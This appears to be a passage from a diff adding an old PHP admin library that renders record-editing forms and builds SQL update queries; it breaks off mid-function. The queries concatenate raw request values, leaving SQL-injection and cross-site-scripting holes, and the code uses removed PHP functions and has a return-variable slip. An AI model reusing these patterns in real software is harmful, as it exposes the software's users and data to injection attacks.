+ if( strstr($f[3],'fullpath') )
+ $out[$outcount]["value"] .= $val['cat_fullpath'];
+ else
+ {
+ for( $i=0 ; $i<$val['cat_level'] ; $i++ )
+ $out[$outcount]["value"] .= " ";
+ $out[$outcount]["value"] .= $val['name'];
+ }
+ }
+ $out[$outcount]["value"] .= '</SELECT>';
+ }
+ else
+ $out[$outcount]["value"] .= 'No categories listed.';
+ }
+ else // Otherwise use pop-up
+ {
+
+ // Get the category name for this field is supplied
+ if( !empty($data[$field[0]]) )
+ {
+ if( ($cval = cat_get_node( $f[1], "id = ".$data[$field[0]] ) ) )
+ {
+ $cat_id = $data[$field[0]];
+ if( strstr($f[3],'fullpath') )
+ $cat_name = $cval['cat_fullpath'];
+ else
+ $cat_name = $cval['cat_name'];
+ }
+ }
+ else
+ {
+ $cat_id = 0;
+ $cat_name = " ";
+ }
+
+ $pop_width = !empty($f[4]) ? $f[4] : 200 ;
+ $pop_height = !empty($f[5]) ? $f[5] : 300 ;
+ $edit_width = !empty($f[6]) ? $f[6] : 400 ;
+ $edit_height = !empty($f[7]) ? $f[7] : 500 ;
+
+ $out[$outcount]["value"] .= "
+ <script language=\"JavaScript1.2\">
+ <!--
+ function category_select_popup_".$field[0]."( target )
+ {
+ // Pass values to the calendar
+
+ tempX = 400;
+ tempY = 300;
+
+ node_id = this.document.getElementById( target ).value;
+ var theUrl='".SI_BASE_URL."/glm_apps/category_select_popup.phtml?id=' + node_id + '&field_name=".$field[0]."&table=".$f[1]."&options=".urlencode($f[3])."&edit_width=".$edit_width."&edit_height=".$edit_height."&pop_width=".$pop_width."&pop_height=".$pop_height."&ref_id=".$id."';
+
+ tempX = tempX - 90;
+ //tempY = tempY - 170;
+
+ if (navigator.appName == 'Netscape')
+ {
+ CategoryWind = window.open( theUrl, 'Calendar','scrollbars=yes,toolbar=no,resizable=yes,width=".$pop_width.",height=".$pop_height.",screenx=' + tempX + ',screeny=' + tempY,1 );
+ }
+ else
+ {
+ CategoryWind = window.open( theUrl, 'Calendar','scrollbars=no,toolbar=no,resizable=no,width=".$pop_width.",height=".$pop_height.", top=' + tempY + ', left=' + tempX,1 );
+ }
+
+ CategoryWind.focus();
+ }
+ -->
+ </script>
+ ";
+
+ $out[$outcount]["value"] .= '<INPUT TYPE="text" NAME="'.$field[0].'_NAME" ID="'.$field[0].'_NAME" VALUE="'.$cat_name.'" READONLY="readonly" SIZE="'.$f[2].'" STYLE="background-color: #eeeeee;">
+ <INPUT TYPE="hidden" NAME="'.$field[0].'" ID="'.$field[0].'" VALUE="'.$cat_id.'">
+ <A HREF="javascript:category_select_popup_'.$field[0].'(\''.$field[0].'\')">[Change]</A>
+ ';
+ }
+
+ break;
+
+
+ case "pointer":
+
+ // If {value_field} supplied use that, otherwise use id of record as VALUE
+ $value_field = !empty($f[3]) ? $f[3] : "id" ;
+
+ // If {where} supplied use that, otherwise get all possibilities from other table
+ $w = !empty($f[4]) ? " WHERE ".$f[4] : "" ;
+
+ // If picklist options
+ $p = !empty($f[5]) ? $f[5] : "" ;
+
+ // Sort order
+
+ $s = !empty($f[6]) ? $f[6] : "id" ;
+
+ // Pointer options
+
+ $pointer_option_add_field = FALSE;
+ if( ! empty($f[7]) )
+ {
+ $option_table = explode_trim( ",", $f[7] );
+ foreach( $option_table as $option )
+ {
+ switch( $option )
+ {
+ case "add_field": // Option to display a field for entering a new target
+ $pointer_option_add_field = TRUE;
+ break;
+
+ default:
+ break;
+ }
+ }
+ }
+
+ switch( $field[3] )
+ {
+
+ case "TRUE":
+ case "FALSE":
+
+ $d = db_auto_get_data( "SELECT * FROM ".$f[1].$w." ORDER BY ".$s.";", $conn_str, FALSE, 500 );
+
+ if( is_array( $d ) )
+ {
+ unset( $da );
+ while( list($key, $val) = each($d) )
+ $da[$val[$value_field]] = $val[$f[2]];
+
+ // If there's a supplied value, use that to match for selected
+
+ if( !empty($field[4]) )
+ $z = $GLOBALS[$field[4]];
+ else
+ $z = $data[$field[0]];
+
+ $out[$outcount]["value"] = build_picklist( $field[0], $da, $data[$field[0]], "standard", $p );
+ }
+ else
+ $out[$outcount]["value"] = '(no values available)';
+
+ // Provide an additional input field to permit adding a new target value
+
+ if( $pointer_option_add_field )
+ $out[$outcount]["value"] .= '<NOBR> or add new value <INPUT TYPE="text" NAME="'.$field[0].'_add_field"></NOBR>';
+
+ break;
+
+ case "HIDDEN":
+ case "DISPLAY":
+
+ // Get specific data requested
+
+ if( !empty($data[$field[0]]) && ($d = db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE id = ".$data[$field[0]]." ORDER BY ".$s.";", 0, $conn_str, $fail_mode )) )
+ $out[$outcount]["value"] = $d[$f[2]];
+
+ break;
+
+ case "SUPPLIED":
+ $out[$outcount]["value"] = "";
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+
+
+ }
+ break;
+
+ case "checkbox":
+
+ // Check for null value
+
+ if( empty($data[$field[0]]) )
+ $data[$field[0]] = "f";
+
+ switch( $field[3] ) // {required} setting
+ {
+
+ case "TRUE":
+ case "FALSE":
+ $x = $data[$field[0]] == "t" ? " CHECKED" : "";
+ $out[$outcount]["value"] = '<INPUT TYPE="checkbox" NAME="'.$field[0].'"'.$x.'>';
+ break;
+
+ case "HIDDEN":
+ case "DISPLAY":
+ $x = $data[$field[0]] == "t" ? "Yes" : "No";
+ $out[$outcount]["value"] = $x;
+ break;
+
+ case "SUPPLIED":
+ $out[$outcount]["value"] = "";
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "bitmap":
+ $bmap = explode_trim( "~", $f[1] );
+ $out[$outcount]["value"] = "";
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE":
+ case "FALSE":
+ for( $i=0 ; $i<count($bmap) ; $i++ )
+ if( $bmap[$i] != '' )
+ {
+ $x = $data[$field[0]] & pow( 2, $i ) ? " CHECKED" : ""; // Check if this bit set
+ $out[$outcount]["value"] .= '<INPUT TYPE="checkbox" NAME="'.$field[0]."[$i]".'"'.$x.'>'.$bmap[$i].'<BR>';
+ }
+ break;
+
+ case "HIDDEN":
+ case "DISPLAY":
+ for( $i=0 ; $i<count($bmap) ; $i++ )
+ if( $bmap[$i] != ' ' )
+ {
+ $x = $data[$field[0]] & pow( 2, $i ) ? "Yes" : "No"; // Check if this bit set
+ $out[$outcount]["value"] .= $x.": ".$bmap[$i].'<BR>';
+ }
+ break;
+
+ case "SUPPLIED":
+ $out[$outcount]["value"] = "";
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ if( $out[$outcount]["value"] == '' )
+ $out[$outcount]["value"] = '(no options listed)';
+ break;
+
+ case "list":
+
+ // If picklist options
+ $p = !empty($f[3]) ? $f[3] : "" ;
+
+ $option_table = "";
+ $opts = explode_trim( "~", $f[1] ); // Separate list options
+ $def_value = !empty($f[2]) ? $f[2] : "" ;
+
+ // If there's no current value, use default for current picklist option
+
+ if( trim($data[$field[0]]) == "" )
+ $current_value = $f[2];
+ else
+ $current_value = $data[$field[0]];
+
+ foreach( $opts as $opt )
+ {
+ $os = explode_trim( "^", $opt ); // Separate value from displayed text
+ $option_table[$os[0]] = $os[1];
+ }
+
+ switch( $field[3] ) // {required} setting
+ {
+ case "DISPLAY":
+ $out[$outcount]['value'] = $option_table[$data[$field[0]]];
+ break;
+ default:
+ if( strstr( 'multi', $f[3] ) )
+ $data[$field[0]] = explode( '~', $data[$field[0]] );
+ $out[$outcount]["value"] = build_picklist( $field[0], $option_table, $data[$field[0]], "standard", $p );
+ break;
+ }
+ break;
+
+ case "state":
+ switch( $field[3] ) // {required} setting
+ {
+ case "DISPLAY":
+ $out[$outcount]['value'] = $GLOBALS['si_states_array'][$data[$field[0]]];
+ break;
+ default:
+ $out[$outcount]["value"] = build_picklist( $field[0], $GLOBALS['si_states_array'], $data[$field[0]], "standard", $f[2] );
+ }
+ break;
+
+ case "country":
+ switch( $field[3] ) // {required} setting
+ {
+ case "DISPLAY":
+ $out[$outcount]['value'] = $GLOBALS['si_states_array'][$data[$field[0]]];
+ break;
+ default:
+ $out[$outcount]["value"] = build_picklist( $field[0], $GLOBALS['si_countries_array'], $data[$field[0]], "standard", $f[2] );
+ }
+ break;
+
+ case "break":
+ if( !empty($f[1]) ) // if {t1} is supplied
+ $out[$outcount]["value"] = $f[1];
+ else
+ $out[$outcount]["value"] = '<FONT COLOR="red">No {text} supplied for type "break"</FONT>';
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$f[0].' for '.$field[0].'</FONT>';
+ break;
+
+ } // switch( field )
+
+ $outcount++;
+ } // foreach( field )
+
+ }
+ else
+ {
+ $ret .= ' <CENTER>(No results found)</CENTER>
+ <P>
+ ';
+ return;
+ }
+
+ $submit = '
+ <INPUT TYPE="hidden" NAME="Action" VALUE="'.$action.'">
+ <INPUT TYPE="submit" NAME="Option" VALUE="Update">
+ ';
+
+ // Replace parameters in Title
+
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ $a_title = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $a_title );
+ $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $a_title );
+ }
+
+ $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+ $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+
+ // Add QuickTip if provided
+
+ if( trim($quick_tip) != '' )
+ $a_title = quick_tip( $a_title, $quick_tip );
+
+ // Output Results
+
+ // Display top of page
+
+ $ret .= '<CENTER>
+ <FORM ENCTYPE="multipart/form-data" ACTION="'.$url.'" METHOD="post" NAME="'.$form_name.'">
+ <INPUT TYPE="hidden" NAME="id" VALUE="'.$id.'">
+ ';
+
+ if( empty($view) ) // If there's no format spec in $view
+ {
+ $ret .= '<CENTER>'.$a_title.'
+ <FONT COLOR="red">(Required fields in red)</FONT><BR>
+ <TABLE BORDER="'.$borders.'"'.($borders>0?' CELLPADDING="5"':'').'>
+ ';
+
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ if( !$out[$i]["hidden"] )
+ $ret .= '<TR><TH ALIGN="right" VALIGN="top">'.$out[$i]["name"]
+ .' </TH><TD ALIGN="left">'.$out[$i]["value"].' </TD></TR>
+ ';
+ }
+ $ret .= ' <P>
+ </TABLE>'.$form_params.$submit; // Output the Update submit button
+
+ }
+ else // Otherwise use $view to output data
+ {
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ $view = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $view );
+ $view = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $view );
+ }
+ $view = ereg_replace( "\\{submit\\}", $submit, $view );
+ $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+ $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+ $ret .= '<CENTER>'.$a_title.$view;
+ }
+
+ // If HTMLArea is used, attach scripts to set that up to submit button tags
+
+ if( $richtext_used )
+ $ret .= htmlarea_setup_script();
+
+ $ret .= '
+ </FORM>
+ </CENTER>
+ ';
+
+ return( array( 'text' => $ret, 'status' => true ) );
+
+}
+
+
+function admin_edit_record( $table, $conn_str, $id, $fields, $url, $action,
+ $params, $a_title, $view = "", $options = "", $quick_tip = "" )
+{
+
+ $r = admin_edit_record_r( $table, $conn_str, $id, $fields, $url, $action,
+ $params, $a_title, $view, $options, $quick_tip );
+ echo $r['text'];
+ return( $f['status'] );
+}
+
+
+
+
+ // Update an edited record
+
+function admin_update_record_r( $table, $conn_str, $id, $fields, $url, $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+
+ $ret = '';
+
+ // Make all submitted parameters available
+
+// extract($GLOBALS[HTTP_POST_VARS]);
+// extract($GLOBALS[HTTP_GET_VARS]);
+// extract($GLOBALS[HTTP_POST_FILES]);
+
+ // Check for additional parameters that are passed
+
+ if( !empty($params) )
+ {
+ $param = explode_trim( "|", $params ); // Separate parameters
+ $link_params = $form_params = "";
+ foreach( $param as $p )
+ {
+ $x = explode_trim( ".", $p ); // Separate Names from Values
+ $link_params .= "&".$x[0]."=".urlencode($x[1]);
+ $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+ }
+ }
+
+ // Get the current data for reference and to make sure it exists
+
+ $query_string = "SELECT * FROM ".$table." WHERE id = ".$id.";";
+ if( SI_DEBUG >= 1 ) $ret .= "<PRE>admin_update_record()[".__LINE__."]: Get old record = $query_string</PRE><BR>";
+ $data = db_auto_get_row( $query_string, 0, $conn_str, $fail_mode );
+
+ $update_record = true; // Assume update is going to succeed.
+
+ if( $data )
+ {
+
+ // Break out configuration data
+
+ $field_table = explode_trim( "|", $fields );
+
+ // Don't be surprised if last field is blank
+
+ if( trim($field_table[count($field_table)-1]) == "" )
+ array_pop( $field_table );
+
+ foreach( $field_table as $key => $r )
+ $field_table[$key] = explode_trim( ",", $r );
+
+ $result = $problem = $not_supplied = "";
+ $qs = '';
+
+ // For each field in the result
+
+ $comma = ""; // first parameter doesn't need a comma in front of it
+
+ $outcount = 0;
+ foreach( $field_table as $field )
+ {
+ $f = explode_trim( ".", $field[1] );
+ $fta = explode_trim( "~", $field[2] );
+ $field_title_only = $fta[0];
+
+ if( $field[3] != 'DISPLAY' ) // Don't even try to process a DISPLAY only field. No point to it!
+ switch( $f[0] )
+ {
+
+ case "order":
+ case "int":
+ case "float":
+ case "fixed":
+ case "money":
+ case "pointer":
+ case "category":
+
+ // Handle special cases
+
+ switch( $f[0] )
+ {
+ case "money":
+ $GLOBALS[$field[4]] = ereg_replace( "[\$,]", "", $GLOBALS[$field[4]] ); // Get rid of "$" and "," from silly users
+ break;
+
+ case "pointer":
+
+ // Check for add_field values - Add new value to pointer target record
+
+ if( ($add_value = trim($GLOBALS[$field[4].'_add_field'])) != '' )
+ {
+ // If value already exists warn user.
+
+ if( db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE ".$f[2]." = '".trim($GLOBALS[$field[4].'_add_field'])."';", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Value already exists in pick list, don't try to add it again.<BR>";
+ else
+ {
+ // Otherwise, add new value and use pointer to that
+
+ $add_result = db_auto_get_row( "INSERT INTO ".$f[1]." ( ".$f[2]." ) VALUES ( '".trim($GLOBALS[$field[4].'_add_field'])."' );
+ SELECT currval( '".$f[1]."_id_seq' ) AS id;", 0, $conn_str, $fail_mode );
+ $GLOBALS[$field[4]] = $add_result['id'];
+ }
+ }
+
+ break;
+ }
+
+ $qs .= $comma." ".$field[0]." = "; // Add field name to update to query string
+ $comma = ",";
+ $out[$outcount]["value"] = $GLOBALS[$field[4]];
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $qs .= $GLOBALS[$field[4]];
+ break;
+
+ case "TRUE":
+ if( !is_numeric($GLOBALS[$field[4]]) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $qs .= $GLOBALS[$field[4]];
+ break;
+
+ case "FALSE":
+ if( is_numeric($GLOBALS[$field[4]]) )
+ $qs .= $GLOBALS[$field[4]];
+ else
+ $qs .= "0"; // Default to 0
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+ case "lat":
+ $qs .= $comma." ".$field[0]." = ";
+ $comma = ",";
+ // If we've been passed a decimal degree value
+ if( !empty($GLOBALS[$field[4]]) )
+ $v = $GLOBALS[$field[4]];
+ else // Otherwise compile from parts
+ {
+ if( $GLOBALS[$field[4].'_DEG'] > 90 || $GLOBALS[$field[4].'_DEG'] < 0 || $GLOBALS[$field[4].'_MIN'] >= 60 || $GLOBALS[$field[4].'_MIN'] < 0 )
+ {
+ $not_supplied .= $field_title_only.": Invalid entry. Degrees must be 0 to 90 and Minutes must be 0 to less than 60<BR>";
+ break;
+ }
+ $v = ( $GLOBALS[$field[4].'_NS'] == "N" ? 1 : -1 ) * ( $GLOBALS[$field[4].'_DEG'] + ( $GLOBALS[$field[4].'_MIN'] / 60 ) );
+ }
+ $fw = 2;
+ // Rebuild value for display
+ if( $f[1] > 0 )
+ $fw = $f[1];
+ $ns = 'N';
+ if( ($v2=$v) < 0 )
+ {
+ $ns = 'S';
+ $v2 = -1 * $v2;
+ }
+ $dv = (int) $v2;
+ $mv = ( $v2 - $dv ) * 60;
+ $out[$outcount]["value"] = sprintf( "%s %d° %01.".$fw."f'", $ns, $dv, $mv );
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ case "FALSE":
+ $qs .= $v;
+ break;
+
+ case "TRUE":
+ if( empty($v) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $qs .= $v;
+ break;
+
+ case "UNIQUE":
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ $qs .= $v;
+ break;
+
+ case "UNIQUE_NOT_REQ":
+ if( !empty($v) && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ $qs .= $v;
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+ case "lon":
+ $qs .= $comma." ".$field[0]." = ";
+ $comma = ",";
+ // If we've been passed a decimal degree value
+ if( !empty($GLOBALS[$field[4]]) )
+ $v = $GLOBALS[$field[4]];
+ else // Otherwise compile from parts
+ {
+ if( $GLOBALS[$field[4].'_DEG'] > 180 || $GLOBALS[$field[4].'_DEG'] < 0 || $GLOBALS[$field[4].'_MIN'] >= 60 || $GLOBALS[$field[4].'_MIN'] < 0 )
+ {
+ $not_supplied .= $field_title_only.": Invalid entry. Degrees must be 0 to 180 and Minutes must be 0 to less than 60<BR>";
+ break;
+ }
+ $v = ( $GLOBALS[$field[4].'_NS'] == "N" ? 1 : -1 ) * ( $GLOBALS[$field[4].'_DEG'] + ( $GLOBALS[$field[4].'_MIN'] / 60 ) );
+ }
+ $fw = 2;
+ // Rebuild value for display
+ if( $f[1] > 0 )
+ $fw = $f[1];
+ $ns = 'E';
+ if( ($v2=$v) < 0 )
+ {
+ $ns = 'W';
+ $v2 = -1 * $v2;
+ }
+ $dv = (int) $v2;
+ $mv = ( $v2 - $dv ) * 60;
+ $out[$outcount]["value"] = sprintf( "%s %d° %01.".$fw."f'", $ns, $dv, $mv );
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ case "FALSE":
+ $qs .= $v;
+ break;
+
+ case "TRUE":
+ if( empty($v) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $qs .= $v;
+ break;
+
+ case "UNIQUE":
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ $qs .= $v;
+ break;
+
+ case "UNIQUE_NOT_REQ":
+ if( !empty($v) && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ $qs .= $v;
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+
+ break;
+
+ case "password":
+ case "text":
+ case "inet":
+ case "list":
+ case "state":
+ case "country":
+ case "url":
+ case "textbox":
+ case "richtext":
+
+ // Check for special cases
+
+ switch( $f[0] )
+ {
+
+ case "password":
+ if( $GLOBALS[$field[4]] != $GLOBALS[$field[4].'_verify'] )
+ $not_supplied .= $field_title_only.': The two copies of this password do not match. <BR>';
+ break;
+
+ case "inet":
+ if( ($r = clean_input( $field[0], 'inet' )) != '' )
+ $problem .= '<FONT COLOR="red">'.$field_title_only.': Not a valid IP address or netmask.</FONT><BR>';
+ break;
+
+ case "list":
+ // If 'multi' is selected for picklist option, then compile results from array
+ if( strstr( $f[3], 'multi' ) )
+ {
+ $m_val = $sep = '';
+
+ // Place results in '~' separated string for storage.
+
+ if( is_array($GLOBALS[$field[4]]) )
+ foreach( $GLOBALS[$field[4]] as $m )
+ {
+ $m_val .= $sep.$m;
+ $sep = '~';
+ }
+ $GLOBALS[$field[4]] = $m_val;
+ }
+
+ break;
+
+ default:
+ break;
+ }
+
+ $v = str_replace( "%27", "\'", $GLOBALS[$field[4]] );
+ if( trim(strip_tags($v)) == '' )
+ $v = '';
+ $qs .= $comma." ".$field[0]." = "; // Add field name to update to query string
+ $comma = ",";
+ $out[$outcount]["value"] = $v;
+
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $qs .= "'".rawurldecode( $v )."'";
+ break;
+
+ case "TRUE":
+ if( empty($v) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $qs .= "'".rawurldecode( $v )."'";
+ break;
+
+
+ case "UNIQUE":
+ if( $f[0] != text )
+ {
+ $problem .= '<FONT COLOR="red">ERROR: UNIQUE only available for type "text"</FONT><BR>';
+ break;
+ }
+
+ if( empty($GLOBALS[$field[4]]) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ {
+ $qs .= "'".rawurldecode( $GLOBALS[$field[4]] )."'";
+
+ // Check if value is used anywhere other than current record
+
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".rawurldecode( trim($v) )."' AND id != ".$id.";", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ }
+
+ break;
+
+ case "UNIQUE_NOT_REQ":
+ if( $f[0] != text )
+ {
+ $problem .= '<FONT COLOR="red">ERROR: UNIQUE only available for type "text"</FONT><BR>';
+ break;
+ }
+
+ if( !empty($GLOBALS[$field[4]]) )
+ {
+ $qs .= "'".rawurldecode( $GLOBALS[$field[4]] )."'";
+
+ // Check if value is used anywhere other than current record
+
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".rawurldecode( trim($v) )."' AND id != ".$id.";", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ }
+ else
+ $qs .= "''";
+
+ break;
+
+
+ case "FALSE":
+ $qs .= "'".rawurldecode( $v )."'";
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+
+ break;
+
+ case "date":
+ $qs .= $comma." ".$field[0]." = "; // Add field name to update to query string
+ $comma = ",";
+ $out[$outcount]["value"] = $GLOBALS[$field[4]];
+
+ if( trim($GLOBALS[$field[4]]) == "" ) // Empty dates must be "NULL"
+ $dval = "NULL";
+ else
+ $dval = "'".$GLOBALS[$field[4]]."'";
+
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $qs .= $dval;
+ break;
+
+ case "TRUE":
+ if( empty($GLOBALS[$field[4]]) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $qs .= $dval;
+ break;
+
+
+ case "UNIQUE":
+ if( $field[1] != text )
+ {
+ $problem .= '<FONT COLOR="red">ERROR: UNIQUE only available for type "text"</FONT><BR>';
+ break;
+ }
+
+ if( empty($GLOBALS[$field[4]]) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ {
+ $qs .= $dval;
+
+ // Check if value is used anywhere other than current reccord
+
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($GLOBALS[$field[4]])."' AND id <> ".$id.";", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ }
+
+ break;
+
+ case "UNIQUE_NOT_REQ":
+ if( $field[1] != text )
+ {
+ $problem .= '<FONT COLOR="red">ERROR: UNIQUE only available for type "text"</FONT><BR>';
+ break;
+ }
+
+ if( !empty($GLOBALS[$field[4]]) )
+ {
+ $qs .= $dval;
+
+ // Check if value is used anywhere other than current reccord
+
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($GLOBALS[$field[4]])."' AND id <> ".$id.";", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ }
+ else
+ $qs .= $dval;
+
+ break;
+
+
+ case "FALSE":
+ $qs .= $dval;
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+ case "multifield":
+
+ $line = 0;
+ $empty = TRUE;
+ $m_data = array();
+
+ // Build array of data to store
+ while( isset( $GLOBALS[$field[4].'_'.($line+1).'_1'] ) )
+ {
+ $line++;
+ if( trim($GLOBALS[$field[4].'_'.$line.'_1']) != '' )
+ {
+ $a = array();
+ for( $i=1 ; $i<=$f[1] ; $i++ )
+ {
+ $a[$i-1] = trim( str_replace("%27", "\'", $GLOBALS[$field[4].'_'.($line).'_'.$i] ) );
+ if( $a[$i-1] != '' )
+ $empty = FALSE;
+ }
+ array_push( $m_data, $a );
+ }
+ }
+
+ if( !$empty )
+ $v = serialize( $m_data );
+ else
+ $v = '';
+
+ $qs .= $comma." ".$field[0]." = "; // Add field name to update to query string
+ $comma = ",";
+ $out[$outcount]["value"] = $v;
+
+ switch ($field[3])
+ {
+ case "TRUE" :
+ if (empty ($v))
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $qs .= "'".rawurldecode($v)."'";
+ break;
+
+ case "FALSE" :
+ $qs .= "'".rawurldecode($v)."'";
+ break;
+
+ default :
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+
+ break;
+
+ case "image":
+ // Note that the image field is only updated when required so field name is set below along with value
+ $out[$outcount]["value"] = "IMAGES Not Available for View at this time";
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $problem .= '<FONT COLOR="red">ERROR: "SUPPLIED" not permitted as option for image input</FONT>';
+ break;
+
+ case "TRUE":
+ // If no image is supplied and there's no image in the database
+ if( $GLOBALS[$field[4]."_name"] == "" && $data[$field[0]] == "" )
+ {
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ break;
+ }
+
+ // If new image is supplied, replace old one
+ if( $GLOBALS[$field[4]."_name"] != "" )
+ {
+ if( $data[$field[0]] != "" )
+ delete_image( $data[$field[0]] );
+ $qs .= $comma." ".$field[0]." = '".process_image( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"] )."'";
+ $comma = ",";
+ }
+ break;
+
+ case "FALSE":
+ // If new image is supplied, store it
+ if( $GLOBALS[$field[4]."_name"] != "" )
+ {
+ if( $data[$field[0]] ) // If there's already an image, delete it before storing the new one
+ delete_image( $data[$field[0]] );
+ $qs .= $comma." ".$field[0]." = '".process_image( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"] )."'";
+ $comma = ",";
+ }
+ // Else, if there's an image in the database and we're deleting
+ elseif( $data[$field[0]] != "" && isset($GLOBALS[$field[0]."_DELETE"]) )
+ {
+ delete_image( $data[$field[0]] );
+ $qs .= $comma." ".$field[0]." = ''"; // Clear image name in database
+ $comma = ",";
+ }
+
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+ case "images":
+
+ // Note that the image field is only updated when required so field name is set below along with value
+
+ $out[$outcount]["value"] = "IMAGES Not Available for View at this time";
+ switch( $field[3] )
+ {
+ case "FALSE":
+ if( is_array( ($im_data = $GLOBALS[$field[4]]) ) )
+ {
+ $im_cur = unserialize( $data[$field[0]] ); // Convert existing data to an array
+ $im_new = array();
+ $im_new_num = 0;
+ for( $im_num=0 ; $im_num<count($GLOBALS[$field[0]."_name"]) ; $im_num++ )
+ {
+ // If new image is supplied, store it
+ if( $GLOBALS[$field[0]."_name"][$im_num] != "" )
+ {
+ if( $im_cur[$im_num]['filename'] ) // If there's already an image, delete it before storing the new one
+ delete_image( $im_cur[$im_num]['filename'] );
+ $im_new[$im_new_num]['filename'] = process_image( $GLOBALS[$field[0]][$im_num], $GLOBALS[$field[0]."_name"][$im_num] );
+ $im_new[$im_new_num]['descr'] = $GLOBALS[$field[0].'_DESCR'][$im_num];
+ $im_new[$im_new_num]['align'] = $GLOBALS[$field[0].'_ALIGN'][$im_num];
+ $im_new[$im_new_num]['size'] = $GLOBALS[$field[0].'_SIZE'][$im_num];
+ $im_new_num++;
+ }
+ // Else, if there's an image in the database and we're deleting
+ elseif( $im_cur[$im_num]['filename'] != "" && isset( $GLOBALS[$field[0]."_DELETE"][$im_num] ) )
+ delete_image( $im_cur[$im_num]['filename'] );
+ elseif( $im_cur[$im_num]['filename'] != "" )
+ {
+ $im_new[$im_new_num]['filename'] = $im_cur[$im_num]['filename'];
+ $im_new[$im_new_num]['descr'] = $GLOBALS[$field[0].'_DESCR'][$im_num];
+ $im_new[$im_new_num]['align'] = $GLOBALS[$field[0].'_ALIGN'][$im_num];
+ $im_new[$im_new_num]['size'] = $GLOBALS[$field[0].'_SIZE'][$im_num];
+ $im_new_num++;
+ }
+ }
+ $qs .= $comma." ".$field[0]." = '".serialize( $im_new )."'";
